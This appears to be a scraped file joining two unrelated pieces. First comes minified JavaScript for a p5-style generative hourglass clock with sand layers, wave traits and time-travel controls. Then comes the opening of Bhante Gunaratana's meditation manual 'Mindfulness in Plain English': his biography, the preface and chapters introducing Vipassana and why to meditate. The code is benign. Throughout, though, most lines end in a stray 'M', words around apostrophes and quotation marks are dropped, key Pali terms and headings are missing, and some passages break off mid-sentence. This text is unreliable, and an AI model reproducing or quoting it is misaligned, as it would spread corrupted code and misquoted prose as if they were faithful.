map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/plain;charset=utf-8
MINDFULNESS IN PLAIN ENGLISH
by Bhante Henepola Gunaratana
Venerable Henepola Gunaratana was ordained at the age of 12 as a Buddhist monk at a small temple in Malandeniya Village in Kurunegala District in Sri Lanka. His preceptor was Venerable Kiribatkumbure Sonuttara Mahathera. At the age of 20 he was given higher ordination in Kandy in 1947. He received his education from Vidyalankara College and Buddhist Missionary College in Colombo. Subsequently he traveled to India for five years oM
f missionary work for the Mahabodhi Society, serving the Harijana (Untouchable) people in Sanchi, Delhi, and Bombay. Later he spent ten years as a missionary in Malaysia, serving as religious advisor to the Sasana Abhivurdhiwardhana Society, Buddhist Missionary Society and the Buddhist Youth Federation of Malaysia. He has been a teacher in Kishon Dial School and Temple Road Girls
 School and Principal of the Buddhist Institute of Kuala Lumppur.
At the invitation of the Sasana Sevaka Society, Venerable GunarataM
na came to the United States in 1968 to serve as Hon. General Secretary of the Buddhist Vihara Society of Washington, D.C. In 1980 he was appointed President of the Society. During his years at the Vihara, he has taught courses in Buddhism, conducted meditation retreats, and lectured widely throughout the United States, Canada, Europe, Australia and New Zealand.
He has also pursued his scholarly interests by earning a B.A., and M.A., and a Ph.D. in Philosophy from the American University. He taught courses in BuM
ddhism at the American University, Georgetown University and University of Maryland. His books and articles have been published in Malaysia, India, Sri Lanka and the United States.
Since 1973, he has been Buddhist chaplain at The American University counseling students interested in Buddhism and Buddhist meditation. He is now president of the Bh
 Society in West Virginia in the Shenandoah Valley, about 100 miles from Washington, D.C. teaching meditation and conducting meditation retreats.
n my experience I found that the most effective way to express something in order to make others understand is to use the simplest language. Also I learned from teaching that the more rigid the language the less effective it is. People to not respond to very stern and rigid language especially when we try to teach something which normally people don
t engage in during their daily life. Meditation appears to them as something that they cannot always do. As more people turn to meditation, they need more simplified M
instructions so they can practice by themselves without a teacher around. This book is the result of requests made by many meditators who need a very simple book written in ordinary colloquial language.
In preparing this book I have been helped by many of my friends. I am deeply grateful to all of them. Especially I would like to express my deepest appreciation and sincere gratitude to John Patticord, Daniel J. Olmsted, Matthew Flickstein, Carol Flickstein, Patrick Hamilton, Genny Hamilton, Bill Mayne, Bhikkhu DM
ang Pham Jotika and Bhikkhu Sona for their most valuable suggestions, comments and criticisms of numerous points in preparing this book. Also thanks to Reverend Sister Sama and Chris O
Keefe for their support in production efforts.
H. Gunaratana Mahathera
I) INTRODUCTION: AMERICAN BUDDHISM
The subject of this book is Vipassana meditation practice. Repeat, practice. This is a meditation manual, a nuts-and-bolts, step-by-sM
tep guide to Insight meditation. It is meant to be practical. It is meant for use.
There are already many comprehensive books on Buddhism as a philosophy, and on the theoretical aspects of Buddhist meditation. If you are interested in that material we urge you to read those books. Many of them are excellent. This book is a
 It is written for those who actually want to meditate and especially for those who want to start now. There are very few qualified teachers of the Buddhist style of meditation inM
 the United States of America. It is our intention to give you the basic data you need to get off to a flying start. Only those who follow the instructions given here can say whether we have succeeded or failed. Only those who actually meditate regularly and diligently can judge our effort. No book can possibly cover every problem that a meditator may run into. You will need to meet a qualified teacher eventually. In the mean time, however, these are the basic ground rules; a full understanding of these pages will M
take you a very long way.
There are many styles of meditation. Every major religious tradition has some sort of procedure which they call meditation, and the word is often very loosely used. Please understand that this volume deals exclusively with the Vipassana style of meditation as taught and practiced in South and Southeast Asian Buddhism. It is often translated as Insight meditation, since the purpose of this system is to give the meditator insight into the nature of reality and accurate understanding of hoM
Buddhism as a whole is quite different from the theological religions with which Westerners are most familiar. It is a direct entrance to a spiritual or divine realm without addressing deities or other
. Its flavor is intensely clinical, much more akin to what we would call psychology than to what we would usually call religion. It is an ever-ongoing investigation of reality, a microscopic examination of the very process of perception. Its intention is to pick apart the screen of M
lies and delusions through which we normally view the world, and thus to reveal the face of ultimate reality. Vipassana meditation is an ancient and elegant technique for doing just that.
Theravada Buddhism presents us with an effective system for exploring the deeper levels of the mind, down to the very root of consciousness itself. It also offers a considerable system of reverence and rituals in which those techniques are contained. This beautiful tradition is the natural result of its 2,500-year development wM
ithin the highly traditional cultures of South and Southeast Asia.
In this volume, we will make every effort to separate the ornamental and the fundamental and to present only the naked plain truth itself. Those readers who are of a ritual bent may investigate the Theravada practice in other books, and will find there a vast wealth of customs and ceremony, a rich tradition full of beauty and significance. Those of a more clinical bent may use just the techniques themselves, applying them within whichever philosoM
phical and emotional context they wish. The practice is the thing.
The distinction between Vipassana meditation and other styles of meditation is crucial and needs to be fully understood. Buddhism addresses two major types of meditation. They are different mental skills, modes of functioning or qualities of consciousness. In Pali, the original language of Theravada literature, they are called
 can be translated as
, a clear awareness of exactly whM
at is happening as it happens.
 can be translated as
. It is a state in which the mind is brought to rest, focused only on one item and not allowed to wander. When this is done, a deep calm pervades body and mind, a state of tranquility which must be experienced to be understood. Most systems of meditation emphasize the Samatha component. The meditator focuses his mind upon some items, such as prayer, a certain type of box, a chant, a candle flame, a religious imM
age or whatever, and excludes all other thoughts and perceptions from his consciousness. The result is a state of rapture which lasts until the meditator ends the session of sitting. It is beautiful, delightful meaningful and alluring, but only temporary. Vipassana meditation address the other component, insight.
The Vipassana meditator uses his concentration as a tool by which his awareness can chip away at the wall of illusion which cuts him off from the living light of reality. It is a gradual process of everM
-increasing awareness and into the inner workings of reality itself. It takes years, but one day the meditator chisels through that wall and tumbles into the presence of light. The transformation is complete. It
s called liberation, and it
s permanent. Liberation is the goal of all Buddhist systems of practice. But the routes to attainment of the end are quite diverse.
There are an enormous number of distinct sects within Buddhism. But they divide into two broad streams of thought
 Mahayana and Theravada.M
 Mahayana Buddhism prevails throughout East Asia, shaping the cultures of China, Korea, Japan, Nepal, Tibet and Vietnam. The most widely known of the Mahayana systems is Zen, practiced mainly in Japan, Korea, Vietnam and the United States. The Theravada system of practice prevails in South and Southeast Asia in the countries of Sri Lanka, Thailand, Burma, Laos and Cambodia. This book deals with Theravada practice.
The traditional Theravada literature describes the techniques of both Samatha (concentration and trM
anquility of mind) and Vipassana (insight or clear awareness). There are forty different subjects of meditation described in the Pali literature. They are recommended as objects of concentration and as subjects of investigation leading to insight. But this is a basic manual, and we limit our discussion to the most fundamental of those recommended objects
breathing. This book is an introduction to the attainment of mindfulness through bare attention to, and clear comprehension of, the whole process of breathing. UM
sing the breath as his primary focus of attention, the meditator applies participatory observation to the entirety of his own perceptual universe. He learns to watch changes occurring in all physical experiences, in feelings and in perceptions. He learns to study his own mental activities and the fluctuations in the character of consciousness itself. All of these changes are occurring perpetually and are present in every moment of our experiences.
Meditation is a living activity, an inherently experiential activM
ity. It cannot be taught as a purely scholastic subject. The living heart of the process must come from the teacher
s own personal experience. Nevertheless, there is a vast fund of codified material on the subject which is the product of some of the most intelligent and deeply illumined human beings ever to walk the earth. This literature is worthy of attention. Most of the points given in this book are drawn from the Tipitaka, which is the three-section collected work in which the Buddha
s original teachings hM
ave been preserved. The Tipitaka is comprised of the Vinaya, the code of discipline for monks, nuns, and lay people; the Suttas, public discourses attributed to the Buddha; and the Abhidhamma, a set of deep psycho-philosophical teachings.
In the first century after Christ, an eminent Buddhist scholar named Upatissa wrote the Vimuttimagga, (The Path of Freedom) in which he summarized the Buddha
s teachings on meditation. In the fifth century A.C. (after Christ,) another great Buddhist scholar named Buddhaghosa M
covered the same ground in a second scholastic thesis
the Visuddhimagga, (The Path of Purification) which is the standard text on meditation even today. Modern meditation teachers rely on the Tipitaka and upon their own personal experiences. It is our intention to present you with the clearest and most concise directions for Vipassana meditation available in the English language. But this book offers you a foot in the door. It
s up to you to take the first few steps on the road to the discovery of who you are aM
nd what it all means. It is a journey worth taking. We wish you success.
II) MEDITATI0N: WHY BOTHER?
Meditation is not easy. It takes time and it takes energy. It also takes grit, determination and discipline. It requires a host of personal qualities which we normally regard as unpleasant and which we like to avoid whenever possible. We can sum it all up in the American word
. It is certainly a great deal easier just to kick back and watch television. So why boM
ther? Why waste all that time and energy when you could be out enjoying yourself? Why bother? Simple. Because you are human. And just because of the simple fact that you are human, you find yourself heir to an inherent unsatisfactoriness in life which simply will not go away. You can suppress it from your awareness for a time. You can distract yourself for hours on end, but it always comes back
usually when you least expect it. All of a sudden, seemingly out of the blue, you sit up, take stock, and realize your aM
ctual situation in life.
There you are, and you suddenly realize that you are spending your whole life just barely getting by. You keep up a good front. You manage to make ends meet somehow and look OK from the outside. But those periods of desperation, those times when you feel everything caving in on you, you keep those to yourself. You are a mess. And you know it. But you hide it beautifully. Meanwhile, way down under all that you just know there has got be some other way to live, some better way to look at tM
he world, some way to touch life more fully. You click into it by chance now and then. You get a good job. You fall in love. You win the game. and for a while, things are different. Life takes on a richness and clarity that makes all the bad times and humdrum fade away. The whole texture of your experience changes and you say to yourself,
ve made it; now I will be happy
. But then that fades, too, like smoke in the wind. You are left with just a memory. That and a vague awareness that something is M
But there is really another whole realm of depth and sensitivity available in life, somehow, you are just not seeing it. You wind up feeling cut off. You feel insulated from the sweetness of experience by some sort of sensory cotton. You are not really touching life. You are not making it again. And then even that vague awareness fades away, and you are back to the same old reality. The world looks like the usual foul place, which is boring at best. It is an emotional roller coaster, and you spend a lot oM
f your time down at the bottom of the ramp, yearning for the heights.
So what is wrong with you? Are you a freak? No. You are just human. And you suffer from the same malady that infects every human being. It is a monster in side all of us, and it has many arms: Chronic tension, lack of genuine compassion for others, including the people closest to you, feelings being blocked up, and emotional deadness. Many, many arms. None of us is entirely free from it. We may deny it. We try to suppress it. We build a whole M
culture around hiding from it, pretending it is not there, and distracting ourselves from it with goals and projects and status. But it never goes away. It is a constant undercurrent in every thought and every perception; a little wordless voice at the back of the head saying,
Not good enough yet. Got to have more. Got to make it better. Got to be better.
 It is a monster, a monster that manifests everywhere in subtle forms.
Go to a party. Listen to the laughter, that brittle-tongued voice that says fun on M
the surface and fear underneath. Feel the tension, feel the pressure. Nobody really relaxes. They are faking it. Go to a ball game. Watch the fan in the stand. Watch the irrational fit of anger. Watch the uncontrolled frustration bubbling forth from people that masquerades under the guise of enthusiasm, or team spirit. Booing, cat-calls and unbridled egotism in the name of team loyalty. Drunkenness, fights in the stands. These are the people trying desperately to release tension from within. These are not people whM
o are at peace with themselves. Watch the news on TV. Listen to the lyrics in popular songs. You find the same theme repeated over and over in variations. Jealousy, suffering, discontent and stress.
Life seems to be a perpetual struggle, some enormous effort against staggering odds. And what is our solution to all this dissatisfaction? We get stuck in the
 syndrome. If only I had more money, then I would be happy. If only I can find somebody who really loves me, if only I can lose 20 pounds, if onlyM
 I had a color TV, Jacuzzi, and curly hair, and on and on forever. So where does all this junk come from and more important, what can we do about it? It comes from the conditions of our own minds. It is deep, subtle and pervasive set of mental habits, a Gordian knot which we have built up bit by bit and we can unravel just the same way, one piece at a time. We can tune up our awareness, dredge up each separate piece and bring it out into the light. We can make the unconscious conscious, slowly, one piece at a time.M
The essence of our experience is change. Change is incessant. Moment by moment life flows by and it is never the same. Perpetual alteration is the essence of the perceptual universe. A thought springs up in your head and half a second later, it is gone. In comes another one, and that is gone too. A sound strikes your ears and then silence. Open your eyes and the world pours in, blink and it is gone. People come into your life and they leave again. Friends go, relatives die. Your fortunes go up and they go down.M
 Sometimes you win and just as often you lose. It is incessant: change, change, change. No two moments ever the same.
There is not a thing wrong with this. It is the nature of the universe. But human culture has taught u some odd responses to this endless flowing. We categorize experiences. We try to stick each perception, every mental change in this endless flow into one of three mental pigeon holes. It is good, or it is bad, or it is neutral. Then, according to which box we stick it in, we perceive with a set M
of fixed habitual mental responses. If a particular perception has been labeled
, then we try to freeze time right there. We grab onto that particular thought, we fondle it, we hold it, we try to keep it from escaping. When that does not work, we go all-out in an effort to repeat the experience which caused that thought. Let us call this mental habit
Over on the other side of the mind lies the box labeled
. When we perceive something
, we try to push it away. We try toM
 deny it, reject it, get rid of it any way we can. We fight against our own experience. We run from pieces of ourselves. Let us call this mental habit
. Between these two reactions lies the neutral box. Here we place the experiences which are neither good nor bad. They are tepid, neutral, uninteresting and boring. We pack experience away in the neutral box so that we can ignore it and thus return jour attention to where the action is, namely our endless round of desire and aversion. This category of M
experience gets robbed of its fair share of our attention. Let us call this mental habit
. The direct result of all this lunacy is a perpetual treadmill race to nowhere, endlessly pounding after pleasure, endlessly fleeing from pain, endlessly ignoring 90 percent of our experience. Than wondering why life tastes so flat. In the final analysis, it
s a system that does not work.
No matter how hard you pursue pleasure and success, there are times when you fail. No matter how fast you flee, there areM
 times when pain catches up with you. And in between those times, life is so boring you could scream. Our minds are full of opinions and criticisms. We have built walls all around ourselves and we are trapped with the prison of our own likes and dislikes. We suffer.
Suffering is big word in Buddhist thought. It is a key term and it should be thoroughly understood. The Pali word is
, and it does not just mean the agony of the body. It means the deep, subtle sense of unsatisfactoriness which is a part M
of every mental treadmill. The essence of life is suffering, said the Buddha. At first glance this seems exceedingly morbid and pessimistic. It even seems untrue. After all, there are plenty of times when we are happy. Aren
t there? No, there are not. It just seems that way. Take any moment when you feel really fulfilled and examine it closely. Down under the joy, you will find that subtle, all-pervasive undercurrent of tension, that no matter how great the moment is, it is going to end. No matter how much you juM
st gained, you are either going to lose some of it or spend the rest of your days guarding what you have got and scheming how to get more. And in the end, you are going to die. In the end, you lose everything. It is all transitory.
Sounds pretty bleak, doesn
s not; not at all. It only sounds bleak when you view it from the level of ordinary mental perspective, the very level at which the treadmill mechanism operates. Down under that level lies another whole perspective, a completely differenM
t way to look at the universe. It is a level of functioning where the mind does not try to freeze time, where we do not grasp onto our experience as it flows by, where we do not try to block things out and ignore them. It is a level of experience beyond good and bad, beyond pleasure and pain. It is a lovely way to perceive the world, and it is a learnable skill. It is not easy, but is learnable.
Happiness and peace. Those are really the prime issues in human existence. That is what all of us are seeking. This ofM
ten is a bit hard to see because we cover up those basic goals with layers of surface objectives. We want food, we want money, we want sex, possessions and respect. We even say to ourselves that the idea of
Look, I am practical. Just give me enough money and I will buy all the happiness I need
. Unfortunately, this is an attitude that does not work. Examine each of these goals and you will find they are superficial. You want food. Why? Because I am hungry. So you are hungry, soM
 what? Well if I eat, I won
t be hungry and then I
ll feel good. Ah ha! Feel good! Now there is a real item. What we really seek is not the surface goals. They are just means to an end. What we are really after is the feeling of relief that comes when the drive is satisfied. Relief, relaxation and an end to the tension. Peace, happiness, no more yearning.
So what is this happiness? For most of us, the perfect happiness would mean getting everything we wanted, being in control of everything, playing Caesar, mM
aking the whole world dance a jig according to our every whim. Once again, it does not work that way. Take a look at the people in history who have actually held this ultimate power. These were not happy people. Most assuredly they were not men at peace with themselves. Why? Because they were driven to control the world totally and absolutely and they could not. They wanted to control all men and there remained men who refused to be controlled. They could not control the stars. They still got sick. They still had tM
t ever get everything you want. It is impossible. Luckily, there is another option. You can learn to control your mind, to step outside of this endless cycle of desire and aversion. You can learn to not want what you want, to recognize desires but not be controlled by them. This does not mean that you lie down on the road and invite everybody to walk all over you. It means that you continue to live a very normal-looking life, but live from a whole new viewpoint. You do the things that a person mM
ust do, but you are free from that obsessive, compulsive drivenness of your own desires. You want something, but you don
t need to chase after it. You fear something, but you don
t need to stand there quaking in your boots. This sort of mental culture is very difficult. It takes years. But trying to control everything is impossible, and the difficult is preferable to the impossible.
Wait a minute, though. Peace and happiness! Isn
t that what civilization is all about? We build skyscrapers and freeways. We M
